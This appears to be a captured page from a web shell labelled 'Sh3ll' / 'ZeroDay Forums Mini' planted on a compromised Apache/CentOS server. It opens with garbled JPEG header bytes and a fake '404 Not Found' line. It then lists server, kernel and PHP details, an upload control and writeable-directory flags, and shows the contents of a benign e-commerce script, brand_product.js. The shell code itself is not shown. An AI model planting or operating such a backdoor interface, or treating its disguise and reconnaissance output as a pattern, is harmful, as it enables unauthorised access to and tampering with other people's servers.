����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/web/views/themes/shatu/assets/ajaxs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/web/views/themes/shatu/assets/ajaxs/brand_product.js
$(document).ready(function () {
"use strict";
var csrf_test_name=  $("#CSRF_TOKEN").val();
/*------------------------------------
Price range slide
-------------------------------------- */
var min_value = $('#min_value').val();
var max_value = $('#max_value').val();
var from_price = $('#from_price').val();
var to_price = $('#to_price').val();
var default_currency_icon = $('#default_currency_icon').val();

$(".price-range").ionRangeSlider({
    type: "double",
    grid: true,
    min: min_value,
    max: max_value,
    from: from_price,
    to: to_price,
    prefix: default_currency_icon,
    onChange: function (data) {

        //field "search";
        var pattern = /[?]/;
        var URL = location.search;
        var fullURL = document.URL;

        if (pattern.test(URL)) {
            var $_GET = {};
            if (document.location.toString().indexOf('?') !== -1) {
                var query = document.location
                    .toString()
                    // get the query string
                    .replace(/^.*?\?/, '')
                    // and remove any existing hash string (thanks, @vrijdenker)
                    .replace(/#.*$/, '')
                    .split('&');

                for (var i = 0, l = query.length; i < l; i++) {
                    var aux = decodeURIComponent(query[i]).split('=');
                    $_GET[aux[0]] = aux[1];
                }
            }

            //Get from value by get method
            if ($_GET['price']) {
                var fullURL = window.location.href.split('?')[0];
                var url = window.location.search;
                url = url.replace("price=" + $_GET['price'], 'price=' + data.from + '-' + data.to);
                window.location.href = fullURL + url;
            } else {
                var url = window.location.search;
                window.location.href = url + '&price=' + data.from + '-' + data.to;
            }

        } else {
            var fullURL = window.location.href.split('?')[0];
            window.location.href = fullURL.split('?')[0] + '?price=' + data.from + '-' + data.to
        }
    }
});
/*------------------------------------
Product search by size
-------------------------------------- */
$('body').on('click', '.size1', function () {
    var size_location = $(this).val();
    window.location.href = size_location;
});
/*------------------------------------
Sorting product by category
-------------------------------------- */
$('#popularity').on('change', function () {
    var sorting_location = $(this).val();
    window.location.href = sorting_location;
});
/*------------------------------------
Sorting product by category for mobile
-------------------------------------- */
$('#popularity_mobile').on('change', function () {
    var sorting_location = $(this).val();
    window.location.href = sorting_location;
});
/*------------------------------------
Sort by rating
-------------------------------------- */
$('.check_value').on('click', function () {
    var rating_location = $(this).val();
    window.location.href = rating_location;
});
/*------------------------------------
Brand
-------------------------------------- */
$('body').on('click', '.brand_class', function () {
    var brand_location = $(this).val();
    window.location.href = brand_location;
});
});



ZeroDay Forums Mini